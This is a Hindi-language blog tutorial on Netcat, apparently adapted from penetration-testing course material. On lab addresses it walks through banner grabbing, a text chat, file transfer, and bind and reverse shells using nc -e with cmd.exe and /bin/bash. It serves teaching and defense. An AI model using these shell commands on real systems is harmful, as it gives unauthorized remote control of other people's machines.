Netcat क्या है?

Netcat क्या है? - Netcat, पहली बार हॉबिट द्वारा 1995 (!) में जारी किया गया, "मूल" Network Pat परीक्षण उपकरण में से एक है और यह इतना बहुमुखी है कि यह Hacker के "Swiss Army Knife" के रूप में लेखक के पदनाम तक रहता है।


 

Netcat की सबसे स्पष्ट परिभाषा हॉबिट से ही है: एक साधारण "उपयोगिता जो TCP या UDP Protocol का उपयोग करके नेटवर्क कनेक्शन में डेटा पढ़ती और लिखती है।

Connecting to a TCP/UDP Port

जैसा कि विवरण द्वारा सुझाया गया है, Netcat Client या Server मोड में चल सकता है। शुरू करने के लिए, आइए Client मोड को देखें।

हम किसी भी TCP/UDP पोर्ट से कनेक्ट करने के लिए Client मोड का उपयोग कर सकते हैं, जिससे हमें निम्न की अनुमति मिलती है:

• जांचें कि पोर्ट Open है या Close है।
• पोर्ट पर सुनने वाली सेवा के बैनर को पढ़ें।
• मैन्युअल रूप से किसी नेटवर्क सेवा से कनेक्ट करें।

TCP Port 110 (POP3 मेल सेवा) लैब मशीनों में से एक पर खुला है या नहीं, यह जांचने के लिए Netcat (NC) का उपयोग करके शुरू करते हैं। हम कई तर्क देंगे: -n DNS नाम समाधान को छोड़ने का विकल्प; - v कुछ वाचालता जोड़ने के लिए; गंतव्य IP Address; और गंतव्य Port संख्या:

 kali@kali:~$ nc -nv 10.11.0.22 110
(UNKNOWN) [10.11.0.22] 110 (pop3) open
+OK POP3 server lab ready <00003.1277944@lab>

77 को सूचीबद्ध करना हमें कई बातें बताता है। सबसे पहले, पोर्ट 110 पर 10.11.0.22 (मानक नामकरण में 10.11.0.22:110) से TCP कनेक्शन सफल हुआ, इसलिए Netcat रिमोट पोर्ट को खुले के रूप में रिपोर्ट करता है।

इसके बाद, सर्वर ने "हमसे वापस बात करके" हमारे कनेक्शन का जवाब दिया, सर्वर स्वागत संदेश मुद्रित किया, और हमें लॉग इन करने के लिए प्रेरित किया, जो POP 3 सेवाओं के लिए मानक व्यवहार है।

kali@kali:~$ nc -nv 10.11.0.22 110
(UNKNOWN) [10.11.0.22] 110 (pop3) open
+OK POP3 server lab ready <00004.1546827@lab>
USER offsec
+OK offsec welcome here
PASS offsec
-ERR unable to lock mailbox
quit
+OK POP3 server lab signing off.
kali@kali:~$

हम Netcat का उपयोग करके POP3 सेवा के साथ बातचीत करने में सफल रहे हैं (भले ही हमारा लॉगिन प्रयास विफल हो गया)।

Listening on a TCP/UDP Port

Netcat का उपयोग करके TCP/UDP पोर्ट पर सुनना Client अनुप्रयोगों के नेटवर्क डिबगिंग के लिए उपयोगी है, या अन्यथा TCP/UDP नेटवर्क कनेक्शन प्राप्त करने के लिए उपयोगी है। आइए Client और सर्वर दोनों के रूप में Netcat का उपयोग करते हुए, दो मशीनों को शामिल करते हुए एक साधारण चैट सेवा को लागू करने का प्रयास करें।

IP पते 10.11.0.22 के साथ एक विंडोज़ मशीन पर, हमने TCP पोर्ट 4444 पर आने वाले कनेक्शनों को सुनने के लिए Netcat की स्थापना की। हम DNS Name Resolution को अक्षम करने के लिए -n विकल्प का उपयोग करेंगे, -l श्रोता बनाने के लिए, -v कुछ जोड़ने के लिए वर्बोसिटी, और -p सुनने वाले पोर्ट नंबर को निर्दिष्ट करने के लिए:

C:\Users\offsec> nc -nlvp 4444
listening on [any] 4444 …

अब जब हमारे पास इस विंडोज मशीन पर नेटकैट के लिए पोर्ट 4444 है, तो आइए उस पोर्ट को अपनी लिनक्स मशीन से कनेक्ट करें और टेक्स्ट की एक पंक्ति दर्ज करें: 

 kali@kali:~$ nc -nv 10.11.0.22 4444
(UNKNOWN) [10.11.0.22] 4444 (?) open
This chat is from the linux machine

हमारा टेक्स्ट TCP पोर्ट 4444 पर विंडोज मशीन पर भेजा जाएगा और हम विंडोज मशीन से "चैट" जारी रख सकते हैं: 

C:\Users\offsec> nc -nlvp 4444
listening on [any] 4444 …
connect to [10.11.0.22] from <UNKNOWN) [10.11.0.4] 43447
This chat is from the linux machine

This chat is from the windows machine

हालांकि यह एक बहुत ही रोमांचक उदाहरण नहीं है, यह नेटकैट में कई महत्वपूर्ण विशेषताओं को प्रदर्शित करता है।

आगे बढ़ने से पहले इन महत्वपूर्ण प्रश्नों के उत्तर देने का प्रयास करें:
• किस मशीन ने नेटकैट सर्वर के रूप में कार्य किया?
• किस मशीन ने नेटकैट क्लाइंट के रूप में काम किया?
• वास्तव में पोर्ट 4444 किस मशीन पर खोला गया था?
• क्लाइंट और सर्वर के बीच कमांड-लाइन सिंटैक्स अंतर क्या है?

Transferring Files with Netcat

Netcat का उपयोग Text और Binary दोनों फाइलों को एक कंप्यूटर से दूसरे कंप्यूटर में स्थानांतरित करने के लिए भी किया जा सकता है। वास्तव में, फोरेंसिक जांचकर्ता अक्सर नेटवर्क पर फोरेंसिक रूप से ध्वनि डिस्क छवियों को बनाने के लिए डीडी (एक डिस्क कॉपी करने वाली उपयोगिता) के साथ Netcat का उपयोग करते हैं।

हमारी Kali Viruatl Machine से Windows System में एक फाइल भेजने के लिए, हम एक सेटअप शुरू करते हैं जो पिछले चैट उदाहरण के समान है, जिसमें कुछ मामूली अंतर हैं। Windows Machinge पर, हम पोर्ट 4444 पर एक Netcat श्रोता स्थापित करेंगे और किसी भी आउटपुट को आने वाली फ़ाइल में Redirect करेंगे।

C:\Users\offsec> nc -nlvp 4444 > incoming.exe
listening on [any] 4444 …

Kali System पर, हम TCP पोर्ट 4444 के माध्यम से wget.exe फ़ाइल को Windows Machine पर Push करेंगे:

kali@kali:~$ locate wget.exe
/usr/share/windows-resources/binaries/wget.exe

kali@kali:~$ nc -nv 10.11.0.22 4444 < /usr/share/windows-resources/binaries/wget.exe
(UNKNOWN) [10.11.0.22] 4444 (?) open

Windows Machine पर Netcat द्वारा कनेक्शन प्राप्त किया जाता है जैसा कि नीचे दिखाया गया है:

C:\Users\offsec> nc -nlvp 4444 > incoming.exe
listening on [any] 4444 …
connect to [10.11.0.22] from

ध्यान दें कि हमें अपनी फ़ाइल Upload प्रगति के बारे में Netcat से कोई प्रतिक्रिया नहीं मिली है। इस मामले में, चूंकि हम जो फ़ाइल अपलोड कर रहे हैं वह छोटी है, हम बस कुछ सेकंड प्रतीक्षा कर सकते हैं, फिर जाँच करें कि फ़ाइल को चलाने का प्रयास करके Windows Machine पर पूरी तरह से अपलोड किया गया है या नहीं:

C:\Users\offsec> incoming.exe -h
GNU Wget 1.9.1, a non-interactive network retriever.
Usage: incoming [OPTION]… [URL]…

हम देख सकते हैं कि यह वास्तव में, wget.exe निष्पादन योग्य है और फ़ाइल स्थानांतरण सफल रहा।

Remote Administration with Netcat

Netcat की सबसे उपयोगी विशेषताओं में से एक इसकी कमांड Redirection करने की क्षमता है। Netcat का Netcat पारंपरिक संस्करण ("-DGAPING_SECURITY_HOLE" ध्वज के साथ संकलित) -e विकल्प को सक्षम करता है, जो एक सफल कनेक्शन बनाने या प्राप्त करने के बाद एक प्रोग्राम निष्पादित करता है। इस शक्तिशाली विशेषता ने सुरक्षा के दृष्टिकोण से सभी प्रकार की दिलचस्प संभावनाओं को खोल दिया है और इसलिए अधिकांश आधुनिक Linux/BSD सिस्टम में उपलब्ध नहीं है। हालांकि, इस तथ्य के कारण कि Kali Linux एक पैठ परीक्षण वितरण है, Kali में शामिल Netcat संस्करण -ई विकल्प का समर्थन करता है।

सक्षम होने पर, यह विकल्प निष्पादन योग्य के Input, Output और त्रुटि संदेशों को Default Console के बजाय TCP/UDP पोर्ट पर Redirect कर सकता है।

उदाहरण के लिए, cmd.exe निष्पादन योग्य पर विचार करें। नेटवर्क पर stdin, stdout और stderr को पुनर्निर्देशित करके, हम cmd.exe को स्थानीय पोर्ट से बाँध सकते हैं। इस Port से जुड़ने वाले किसी भी व्यक्ति को Target Computer पर Command Prompt के साथ प्रस्तुत किया जाएगा।

इसे स्पष्ट करने के लिए, आइए बॉब और ऐलिस से जुड़े कुछ और परिदृश्यों को देखें

Netcat Bind Shell Scenario

हमारे पहले परिदृश्य में, बॉब (विंडोज चला रहा है) ने ऐलिस की सहायता (जो लिनक्स चला रहा है) का अनुरोध किया है और उसे अपने कंप्यूटर से कनेक्ट करने और कुछ कमांड दूरस्थ रूप से जारी करने के लिए कहा है। बॉब का एक सार्वजनिक IP Address है और वह सीधे इंटरनेट से जुड़ा है। हालाँकि, ऐलिस NATed कनेक्शन के पीछे है, और उसके पास एक आंतरिक IP Address है। परिदृश्य को पूरा करने के लिए, बॉब को cmd.exe को अपने सार्वजनिक IP Address पर एक TCP Port से बांधने की जरूरत है और ऐलिस को अपने विशेष IP Address और Port से कनेक्ट करने के लिए कहता है।

बॉब अपने स्थानीय IP Address की जांच करेगा, फिर सुनने वाले Port से कनेक्शन बनने के बाद cmd.exe निष्पादित करने के लिए -e विकल्प के साथ Netcat चलाएगा:

C:\Users\offsec> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.11.0.22
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.11.0.1

C:\Users\offsec> nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 …

अब Netcat ने TCP Port 4444 को cmd.exe से जोड़ दिया है और cmd.exe से किसी भी इनपुट, आउटपुट या त्रुटि संदेशों को नेटवर्क पर Redirect करेगा। दूसरे शब्दों में, बॉब की मशीन (उम्मीद है कि ऐलिस) पर TCP Port 4444 से जुड़ने वाला कोई भी व्यक्ति बॉब के Command Prompt के साथ प्रस्तुत किया जाएगा। यह वास्तव में एक "अंतराल सुरक्षा छेद" है!

kali@kali:~$ ip address show eth0 | grep inet inet 10.11.0.4/16 brd 10.11.255.255
scope global dynamic eth0

kali@kali:~$ nc -nv 10.11.0.22 4444
(UNKNOWN) [10.11.0.22] 4444 (?) open
Microsoft Windows [Version 10.0.17134.590]

C:\Users\offsec> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.11.0.22
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.11.0.1

Reverse Shell Scenario

हमारे दूसरे परिदृश्य में, ऐलिस को बॉब से मदद की ज़रूरत है। हालाँकि, ऐलिस का अपने कार्यालय में Router पर कोई नियंत्रण नहीं है, और इसलिए वह Router से अपनी आंतरिक मशीन पर Traffic अग्रेषित नहीं कर सकती है।

इस परिदृश्य में, हम Netcat की एक और उपयोगी विशेषता का लाभ उठा सकते हैं; किसी विशिष्ट पोर्ट पर सुनने वाले होस्ट को Command Shell भेजने की क्षमता। इस स्थिति में, हालांकि ऐलिस अपने कंप्यूटर पर स्थानीय रूप से /bin/bash पोर्ट को बाध्य नहीं कर सकती है और बॉब से कनेक्ट होने की उम्मीद कर सकती है, वह इसके बजाय बॉब की मशीन को अपने Command Prompt का नियंत्रण भेज सकती है। इसे Reverse Shell के रूप में जाना जाता है। इसे काम करने के लिए, बॉब पहले आने वाले शेल को सुनने के लिए Netcat की स्थापना करेगा। हम अपने उदाहरण में पोर्ट 4444 का उपयोग करेंगे:

C:\Users\offsec> nc -nlvp 4444
listening on [any] 4444 …

अब, ऐलिस अपनी Linux Machine से बॉब को एक Reverse Shell भेज सकती है। एक बार फिर, हम किसी एप्लिकेशन को दूरस्थ रूप से उपलब्ध कराने के लिए -e विकल्प का उपयोग करते हैं, जो इस मामले में /bin/bash, Linux शेल होता है: 

kali@kali:~$ ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255
scope global dynamic eth0

kali@kali:~$ nc -nv 10.11.0.22 4444 -e /bin/bash
(UNKNOWN) [10.11.0.22] 4444 (?) open

एक बार कनेक्शन स्थापित हो जाने के बाद, ऐलिस के Netcat ने पोर्ट 4444 पर बॉब की मशीन पर इनपुट, आउटपुट, और त्रुटि Data Stream को पुनर्निर्देशित किया होगा, और बॉब उस शेल के साथ बातचीत कर सकता है:

C:\Users\offsec>nc -nlvp 4444
listening on [any] 4444 …
connect to [10.11.0.22] from <UNKNOWN) [10.11.0.4] 43482

ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0

बाइंड और रिवर्स शेल के बीच अंतर पर विचार करने के लिए कुछ समय लें, और ये अंतर संगठनात्मक सुरक्षा दृष्टिकोण से विभिन्न Firewall Configeration पर कैसे लागू हो सकते हैं। यह महसूस करना महत्वपूर्ण है कि Outgoing Traffic आने वाले Traffic की तरह ही हानिकारक हो सकता है। निम्नलिखित छवि Reverse Shell परिदृश्य को दर्शाती है जहां बॉब को ऐलिस पर Remote Shell Access मिलता है
Linux Machine, Corporate Firewall का पता लगाती है:

For Netcat CheatSheat Click Here

अगर आपको यह ब्लॉग पसंद आया हो तो कृपया आगे कमेंट में सुझाव दें

अधिक हैकिंग सामग्री के लिए यहां क्लिक करें

अगर आपको यह आर्टिकल इंग्लिश में पड़ना है तो यह क्लिक करे

टिप्पणियाँ

इस ब्लॉग से लोकप्रिय पोस्ट

Snapchat Account को कैसे हैक करें?

VLans क्या है?

इंटरनेट से संबंधित शर्तें क्या हैं?